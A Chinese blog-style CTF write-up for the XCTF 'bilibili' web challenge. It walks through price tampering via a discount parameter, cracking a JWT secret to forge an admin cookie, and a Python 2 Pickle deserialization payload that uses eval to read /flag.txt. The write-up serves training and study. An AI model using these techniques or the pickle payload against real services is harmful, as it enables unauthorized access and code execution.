XCTF攻防世界 Web 高手进阶区 bilibili

发布于 2020-02-25  139 次阅读


思路

按部就班,Python反序列化,反弹Shell

流程

0x01 脚本

拿到题看到有登录注册等等界面,先随便注册个号

注意网页上说要拿lv6的号,放眼望去全是lv2-lv5

审查元素发现对应的图片是lv2.png - lv5.png

写个脚本观察哪一页有lv6

import requests

url = 'http://111.198.29.45:52085/shop?page='

if __name__ == '__main__':
    for i in range(1,500):
        req = requests.get(url + str(i))
        if 'lv6.png' in req.text:
            print(i)

跑出结果180

我们把网页栏的page改到180,看到一个lv6的号,然后我们发现这个号太贵了

0x02 逻辑绕过

点击购买,我们用Burpsuite抓包

然后我们惊喜的发现了这个包有个参数叫折扣

于是我们修改折扣为0.0000000000000000001,于是我们就可以购买了

接着,跳出了一个页面:简而言之要用admin登录。

0x03 JWT爆破

看下Cookie参数,我们可以发现这个里面有个叫JWT的参数;看到后就能反应过来,这个东西相当于是一个认证的凭据,上JWT.IO试图翻译,发现有密码。

我们用C-JWT-Cracker(其实我更推荐JohnTheRipper)来破解,解出密码是1Kun

我卡在这里了,坑爹的Python JWTCracker跑不出来,真是垃圾

用破解的密码签名JWT,替换Cookie,我们看到了一个“一键成为大会员”。

0x04 源码审计

看网页源代码,我们可以看到一个zip包,我们下载下来,发现是源码。

然后源码审计出Admin.py存在Pickle反序列化漏洞

0x05 Pickle反序列化

注意Pickle的版本。

在攻防世界上面,似乎没法反弹shell;所以我们只能使用网页的response来展示答案。

import pickle
import requests
import urllib
import os

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

注意要在Python2下面跑,生成的参数来改掉包POST的become参数,即可出现Flag

0x01 Pickle版本

不同Python版本Pickle的操作不一样,要用对应的版本;一开始我用Python3的Pickle做,结果结果完全不一样,换成Python2即可

0x02 JWT-Crack效率

尽量使用高效的Jwt Cracker,不然明明会做的题就会浪费时间卡住。

It is my final heart.
最后更新于 2020-02-25